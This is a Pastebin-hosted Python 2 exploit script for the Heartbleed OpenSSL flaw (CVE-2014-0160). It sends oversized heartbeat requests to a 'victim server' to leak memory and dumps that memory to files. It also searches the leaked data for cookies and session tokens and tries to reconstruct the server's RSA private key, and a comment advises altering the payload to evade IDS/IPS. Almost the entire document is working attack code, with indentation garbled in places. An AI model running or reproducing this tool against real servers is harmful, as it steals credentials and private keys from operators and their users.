document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. #!/usr/bin/env python2
  2.  
  3. \'\'\'
  4. CVE-2014-0160 - Heartbleed OpenSSL Heartbeat vulnerability
  5.  
  6. This piece of code is modified from the work of Mothran (https://github.com/mothran/tlslite).  
  7. He releases a testing code for Heartbleed vulnerability at https://github.com/mothran/tlslite/blob/master/scripts/heartbleed.py.
  8.  
  9. To run this code, you need to install tlslite from this github and you should use this edition only as other version will not work.
  10. You also need to install python-m2crypto, python-pycryptopp and python-gmpy.
  11.  
  12. Modified by : Samiux
  13. Blog        : http://samiux.blogspot.com
  14.           http://samiux.blogspot.com/2014/04/exploit-dev-heartbleed-cve-2014-0160_17.html
  15. Date        : April 20, 2014
  16. Version     : 0.8
  17. Change log  : 0.1 - First release (April 16, 2014)
  18.              0.2 - Threading added, Minor improvement and bug fixes (April 16, 2014)
  19.           0.3 - Minor bug fixes (April 17, 2014)
  20.           0.4 - Fix calculation of private key bug, Minor improvement (April 17, 2014)
  21.           0.5 - Fix private key calculation bug, Minor improvement (April 18, 2014)
  22.           0.6 - Minor improvement (April 18, 2014)
  23.           0.7 - Bug fix and more improvement (April 18, 2014)
  24.           0.8 - Add read dump file offline (April 20, 2014)
  25.  
  26. Known issue : - The script is for online testing and slow speed is expected.  However, it will minimize the loading of the victim
  27.         server.
  28.           - If the number of thread is too high, the victim server will refuse the connection.  The limitation is not the power
  29.             of your attacking machine.  It is a limitation of the ability of the victim server.  In general situation, if the number
  30.         of thread is higher than 40, the victim server will refuse the connection.
  31.           - When the script quit unexpectly (with error messages) with the first try on the unknown server, the server may not support
  32.                SSL or not vulnerable to this bug.
  33.  
  34. Unknown factor : Since I have no time to test the Private Key recap function (or say I cannot capture the private key in my personal lab),
  35.          I am not sure if it is working or not.  Anyone can inform me the result is appreciated.  I can be reached
  36.          at http://www.infosec-ninjas.com/contact.
  37.  
  38.          May be Apache with vulnerable OpenSSL will not leak SSL Private key.  However, Cloudflare (Ngnix with OpenSSL) will.
  39.  
  40. Personal Lab : Victim - Ubuntu Server 12.04.4 LTS x88 (without (auto) update/upgrade), LAMP on Virtualbox with 96MB RAM in vm
  41.               Attacker - Kali Linux 1.0.6 x86_64 on MacBook Air (Mid 2013) dual boot
  42.  
  43.               I follow this link (https://www.digitalocean.com/community/articles/how-to-create-a-ssl-certificate-on-apache-for-ubuntu-12-04)
  44.               to setup SSL key on Apache.
  45. \'\'\'
  46.  
  47. # standard library
  48. import socket, sys, time, re
  49. import os.path
  50.  
  51. # threading and Queue library
  52. import threading
  53.  
  54. # base64 and gmpy library
  55. import base64, gmpy
  56.  
  57. # pyasn1 library
  58. from pyasn1.codec.der import encoder
  59. from pyasn1.type.univ import *
  60.  
  61. # optparse library
  62. from optparse import OptionParser
  63.  
  64. # tlslite library
  65. from tlslite.api import *
  66. from tlslite.messages import *
  67. from tlslite import __version__
  68.  
  69. # Menu and options
  70. options = OptionParser(usage=\'time python %prog server [options]\', description=\'Test for OpenSSL heartbeat vulnerability (CVE-2014-0160)\')
  71. options.add_option(\'-p\', \'--port\', type=\'int\', default=443, help=\'TCP port to test (default: 443)\')
  72. options.add_option(\'-d\', \'--dump\', type=\'int\', default=1, help=\'Number of dump per request, standard is 16K per dump (default: 1)\')
  73. options.add_option(\'-k\', \'--key\', action=\'store_true\', default=False, help="Attempt to obtain the server\'s SSL Private key")
  74. options.add_option(\'-r\', \'--request\', type=\'int\', default=1, help=\'Number of requests (default: 1)\')
  75. options.add_option(\'-c\', \'--cookie\', type=\'str\', default=\'\', help="Cookie or session to look for (default: NULL, e.g. -c \'Cookie:\')")
  76. options.add_option(\'-w\', \'--write\', action=\'store_true\', default=False, help=\'Write data to be dumped to file (default: False) (write to ~/dumpwrite.bin)\')
  77. options.add_option(\'-a\', \'--append\', action=\'store_true\', default=False, help=\'Append data to be dumped to file (default: False) (append to ~/dumpappend.bin)\')
  78. options.add_option(\'-n\', \'--name\', type=\'str\', default="", help=\'Server name extension, e.g. -n "/page/index.php" (default: NULL)\')
  79. options.add_option(\'-t\', \'--thread\', type=\'int\', default=1, help=\'Number of threads for the requests (default: 1, best range 1-40)\')
  80. options.add_option(\'-q\', \'--quiet\', action=\'store_true\', default=False, help=\'Do not display the output on screen (default: False)\')
  81. options.add_option(\'-o\', \'--offline\', action=\'store_true\', default=False, help=\'Read the dump file offline (default: False)\')
  82.  
  83. opts, args = options.parse_args()
  84. if len(args) < 1 or len(sys.argv[1]) == 0:
  85.     options.print_help()
  86.     sys.exit()
  87.  
  88. # for server and port
  89. port = opts.port
  90. address = (sys.argv[1], int(port))
  91.  
  92. # args assignment
  93. servername = opts.name
  94. numb = opts.dump
  95. num_loop = opts.request
  96. num_thread = opts.thread
  97. find_priv_key = opts.key
  98. find_base = opts.write
  99. find_append = opts.append
  100. cookie_val = opts.cookie
  101.  
  102. if opts.cookie == "":
  103.     find_cookie = False
  104. else:
  105.     find_cookie = True
  106.  
  107.  
  108. # read the dump file offline
  109. def read_offline():
  110.  
  111.     # option -c (--cookie)
  112.     if find_cookie:
  113.        
  114.         resp = ""
  115.        
  116.         if os.path.exists( "dumpwrite.bin" ):
  117.             infile = "dumpwrite.bin"
  118.         elif os.path.exists( "dumpappend.bin" ):
  119.             infile = "dumpappend.bin"
  120.         elif os.path.exists( "dumpwrite.bin" ) and os.path.exists( "dumpappend.bin" ):
  121.             infile = "dumpappend.bin"
  122.         else:
  123.             print("Dump file not exists, quit!")
  124.             sys.exit(-1)
  125.  
  126.         print("Processing .....")
  127.         print("Result will be saved to ~/dumpsave.txt")
  128.  
  129.         filesize = os.path.getsize( infile )
  130.         filesize = filesize / 16384
  131.  
  132.         with open( infile, "r+b" ) as fd:
  133.             resp = fd.read(16384)
  134.             with open( "dumpsave.txt", "a" ) as f:
  135.                 while resp:
  136.                
  137.                         # This is dirt and needs to be cleaned up.
  138.                         cookies = [m.start() for m in re.finditer(cookie_val, resp)]
  139.    
  140.                         for start in cookies:
  141.                             stop = resp[start:].find("\\n")
  142.                             #if opts.quiet == False:
  143.                         #   print resp[start: stop]
  144.                         data = resp[start: stop]+"\\n"
  145.                         f.write(data)
  146.  
  147.                     resp = fd.read(16384)
  148.             f.close()
  149.         fd.close()
  150.  
  151.     # option -k (--key)
  152.     if find_priv_key:
  153.         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  154.         sock.settimeout(5)
  155.         sock.connect(address)
  156.         connection = TLSConnection(sock)
  157.  
  158.         settings = HandshakeSettings()
  159.         settings.heart_beat = True
  160.  
  161.         try:
  162.                 start = time.clock()
  163.                 connection.handshakeClientCert(None, None, settings=settings, serverName=servername)
  164.    
  165.                 stop = time.clock()        
  166.         except TLSLocalAlert as a:
  167.                 if a.description == AlertDescription.user_canceled:
  168.                     print(str(a))
  169.                 else:
  170.                     raise
  171.                 sys.exit(-1)
  172.         except TLSRemoteAlert as a:
  173.                 if a.description == AlertDescription.unknown_psk_identity:
  174.                     if username:
  175.                             print("Unknown username")
  176.                     else:
  177.                             raise
  178.                 elif a.description == AlertDescription.bad_record_mac:
  179.                     if username:
  180.                             print("Bad username or password")
  181.                     else:
  182.                             raise
  183.                 elif a.description == AlertDescription.handshake_failure:
  184.                     print("Unable to negotiate mutually acceptable parameters")
  185.                 else:
  186.                     raise
  187.                     sys.exit(-1)
  188.  
  189.         if connection.session.serverCertChain:
  190.                 pubkey = connection.session.serverCertChain.x509List[0].publicKey
  191.             if opts.quiet == False:                
  192.                 print("n = %s, e = %s" % (pubkey.n, pubkey.e))
  193.             n = pubkey.n
  194.             e = pubkey.e
  195.                 num_pubkey_bits = numBits(pubkey.n)
  196.             if opts.quiet == False:                
  197.                 print("pubkey_bits = %i" % num_pubkey_bits)
  198.                 prime_len_bytes = (num_pubkey_bits + 15) // 16
  199.             if opts.quiet == False:            
  200.                 print("Public key obtained.")
  201.    
  202.             else:
  203.                 print("We don\'t have a public key to factor, bailing.")
  204.                 sys.exit(-1)
  205.  
  206.         connection.close()
  207.        
  208.         resp = ""
  209.        
  210.         if os.path.exists( "dumpwrite.bin" ):
  211.             infile = "dumpwrite.bin"
  212.         elif os.path.exists( "dumpappend.bin" ):
  213.             infile = "dumpappend.bin"
  214.         elif os.path.exists( "dumpwrite.bin" ) and os.path.exists( "dumpappend.bin" ):
  215.             infile = "dumpappend.bin"
  216.         else:
  217.             print("Dump file not exists, quit!")
  218.             sys.exit(-1)
  219.  
  220.         print("Processing .....")
  221.  
  222.         filesize = os.path.getsize( infile )
  223.         filesize = filesize / 16384
  224.  
  225.         with open( infile, "r+b" ) as fd:
  226.             resp = fd.read(16384)
  227.             resp = bytearray(resp)
  228.             counter=1
  229.             while resp:
  230.                 print("Processing %d of %d (trunk of 16384 bytes) ..." % (counter, filesize))
  231.  
  232.                 for i in range(0, len(resp)-prime_len_bytes):
  233.                     # reverse the bytes, only works for little-endian
  234.                     # targets (FIXME? Probably not worth it, would have
  235.                     # to guess word length on big-endian.)
  236.                     data = resp[i+prime_len_bytes:i:-1]
  237.                     data = bytesToNumber(data)
  238.  
  239.                     #if data > 1 and pubkey != None:   
  240.                     if data > 1 and pubkey != None and (pubkey.n % data) == 0:
  241.        
  242.                         print("Success! p = %i, q = %i" % (data, pubkey.n//data))
  243.  
  244.                         # calculation
  245.                         p = data
  246.                                     q = pubkey.n//data
  247.  
  248.                         #e = 65537
  249.                         #q = n / p
  250.  
  251.                         phi = (p - 1) * (q - 1)
  252.                         d = gmpy.invert (e, phi)
  253.                         dp = d % (p - 1)
  254.                         dq = d % (q - 1)
  255.                         qinv = gmpy.invert (q, p)
  256.                         seq = Sequence()
  257.  
  258.                         # build SSL private key
  259.                         for x in [0, n, e, d, p, q, dp, dq, qinv]:
  260.                             seq.setComponentByPosition (len (seq), Integer (x))
  261.                             priv_key = ("\\n\\n-----BEGIN RSA PRIVATE KEY-----\\n%s-----END RSA PRIVATE KEY-----\\n\\n" % base64.encodestring(encoder.encode (seq)))
  262.  
  263.                             # print the private key to screen
  264.                             print priv_key
  265.        
  266.                             # save the private key
  267.                             fd = open( "private_key.pem", "w")
  268.                             fd.write(priv_key)
  269.                             fd.flush()
  270.                             fd.close()
  271.  
  272.                 resp = fd.read(16384)
  273.                 resp = bytearray(resp)
  274.                 counter=counter+1
  275.             fd.close()
  276.             print("Private key not found :(")
  277.  
  278.  
  279. # Main loop
  280. def main_loop(z):
  281.     for x in range(0, num_loop):
  282.         # check for key found flag
  283.         if os.path.exists("/tmp/key_found"):
  284.             print("Private key has been found, no more process!")
  285.             connection.close()
  286.             sys.exit(0)
  287.  
  288.  
  289.         if num_thread > 1:
  290.             print ("Thread : %i of %i, Request : %i of %i" %(z, num_thread, x, num_loop))
  291.  
  292.         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  293.         sock.settimeout(5)
  294.         sock.connect(address)
  295.         connection = TLSConnection(sock)
  296.    
  297.         settings = HandshakeSettings()
  298.         settings.heart_beat = True
  299.    
  300.         try:
  301.                 start = time.clock()
  302.                 connection.handshakeClientCert(None, None, settings=settings, serverName=servername)
  303.    
  304.                 stop = time.clock()        
  305.         except TLSLocalAlert as a:
  306.                 if a.description == AlertDescription.user_canceled:
  307.                     print(str(a))
  308.                 else:
  309.                     raise
  310.                 sys.exit(-1)
  311.         except TLSRemoteAlert as a:
  312.                 if a.description == AlertDescription.unknown_psk_identity:
  313.                     if username:
  314.                             print("Unknown username")
  315.                     else:
  316.                             raise
  317.                 elif a.description == AlertDescription.bad_record_mac:
  318.                     if username:
  319.                             print("Bad username or password")
  320.                     else:
  321.                             raise
  322.                 elif a.description == AlertDescription.handshake_failure:
  323.                     print("Unable to negotiate mutually acceptable parameters")
  324.                 else:
  325.                     raise
  326.                     sys.exit(-1)
  327.  
  328.         # --key (-k) is true   
  329.         if find_priv_key:
  330.                 if connection.session.serverCertChain:
  331.                     pubkey = connection.session.serverCertChain.x509List[0].publicKey
  332.                 if opts.quiet == False:                
  333.                     print("n = %s, e = %s" % (pubkey.n, pubkey.e))
  334.                 n = pubkey.n
  335.                 e = pubkey.e
  336.                     num_pubkey_bits = numBits(pubkey.n)
  337.                 if opts.quiet == False:                
  338.                     print("pubkey_bits = %i" % num_pubkey_bits)
  339.                     prime_len_bytes = (num_pubkey_bits + 15) // 16
  340.                 if opts.quiet == False:            
  341.                     print("Public key obtained.")
  342.    
  343.                 else:
  344.                     print("We don\'t have a public key to factor, bailing.")
  345.                     sys.exit(-1)
  346.    
  347.    
  348.         # printGoodConnection(connection, stop-start)
  349.         # change the value of paylaod to prevent the IDS/IPS
  350.    
  351.         heartbeat = HeartBeat()
  352.         heartbeat.create(type=1,
  353.                         pay_len=0xffff,
  354.                         payload="AA")
  355.    
  356.    
  357.         # up the range numbs to get more memory, sometimes it repeats.
  358.    
  359.         resp = ""
  360.  
  361.         for x in range(0, numb):
  362.                 for result in connection._sendMsg(heartbeat):
  363.                     pass
  364.    
  365.                 resp = resp + connection.readPOC(0xffff)
  366.    
  367.             # option -w (--write)
  368.             if find_base:
  369.                     fd = open( "dumpwrite.bin", "w+b")
  370.                     fd.write(resp)
  371.                     fd.flush()
  372.                     fd.close()
  373.  
  374.             # option -a (--append)
  375.             if find_append:
  376.                 fd = open( "dumpappend.bin", "a+b")
  377.                 fd.write(resp)
  378.                 fd.flush()
  379.                 fd.close()
  380.    
  381.             # option -k (--key) <--- this feature is not well tested, please let me know the result.
  382.             if find_priv_key:
  383.                     resp = bytearray(resp)
  384.                     for i in range(0, len(resp)-prime_len_bytes):
  385.                         # reverse the bytes, only works for little-endian
  386.                         # targets (FIXME? Probably not worth it, would have
  387.                         # to guess word length on big-endian.)
  388.                         data = resp[i+prime_len_bytes:i:-1]
  389.                         data = bytesToNumber(data)
  390.  
  391.                     #if data > 1 and pubkey != None:   
  392.                         if data > 1 and pubkey != None and (pubkey.n % data) == 0:
  393.                                 print("Success! Thread = %i, p = %i, q = %i" % (z, data, pubkey.n//data))
  394.  
  395.                         # save the dump
  396.                         fd = open( "dumpfinal.bin", "w+b" )
  397.                         fd.write(resp)
  398.                         fd.flush()
  399.                         fd.close()
  400.  
  401.                         # calculation
  402.                         p = data
  403.                                                 q = pubkey.n//data
  404.  
  405.                         #e = 65537
  406.                         #q = n / p
  407.  
  408.                         phi = (p - 1) * (q - 1)
  409.                         d = gmpy.invert (e, phi)
  410.                         dp = d % (p - 1)
  411.                         dq = d % (q - 1)
  412.                         qinv = gmpy.invert (q, p)
  413.                         seq = Sequence()
  414.  
  415.                         # build SSL private key
  416.                         for x in [0, n, e, d, p, q, dp, dq, qinv]:
  417.                             seq.setComponentByPosition (len (seq), Integer (x))
  418.                             priv_key = ("\\n\\n-----BEGIN RSA PRIVATE KEY-----\\n%s-----END RSA PRIVATE KEY-----\\n\\n" % base64.encodestring(encoder.encode (seq)))
  419.  
  420.                             # print the private key to screen
  421.                             print priv_key
  422.        
  423.                             # save the private key
  424.                             fd = open( "private_key.pem", "w")
  425.                             fd.write(priv_key)
  426.                             fd.flush()
  427.                             fd.close()
  428.  
  429.                             # set the key found flag
  430.                             key_found = "Private key is found!"
  431.                             fd = open( "/tmp/key_found", "w")
  432.                             fd.write(key_found)
  433.                             fd.flush()
  434.                             fd.close()
  435.  
  436.                             connection.close()
  437.                             sys.exit(0)
  438.    
  439.  
  440.         # option -c (--cookie)
  441.         if find_cookie:
  442.                 # This is dirt and needs to be cleaned up.
  443.                 cookies = [m.start() for m in re.finditer(cookie_val, resp)]
  444.    
  445.                 for start in cookies:
  446.                     stop = resp[start:].find("\\n")
  447.                     print resp[start: stop]
  448.  
  449.         # to print the dump on screen or not
  450.         if opts.quiet == False:
  451.             if opts.write == False and opts.append == False:
  452.                 if opts.key == False:
  453.                     if find_cookie == False:
  454.                             print resp
  455.  
  456.  
  457.     # pause for 0.1 seconds in order to reduce the chance of dulplicate the content of the memory dump
  458.     if opts.request > 1:
  459.         time.sleep(.1)
  460.  
  461.     # close the connection
  462.     connection.close()
  463.  
  464.        
  465. if __name__ == \'__main__\':
  466.     # reset the key found flag
  467.     if os.path.exists("/tmp/key_found"):
  468.         os.remove("/tmp/key_found")
  469.  
  470.     if opts.offline == True:
  471.         read_offline()
  472.     else:
  473.  
  474.         # multi-threading or not
  475.         if num_thread > 1:
  476.             thread_list = []
  477.             for i in range(num_thread):
  478.                 t = threading.Thread(target=main_loop, args=(i,))
  479.                 thread_list.append(t)
  480.  
  481.             for thread in thread_list:
  482.                 thread.start()
  483.    
  484.             for thread in thread_list:
  485.                 thread.join()
  486.         else:
  487.             main_loop(1)
');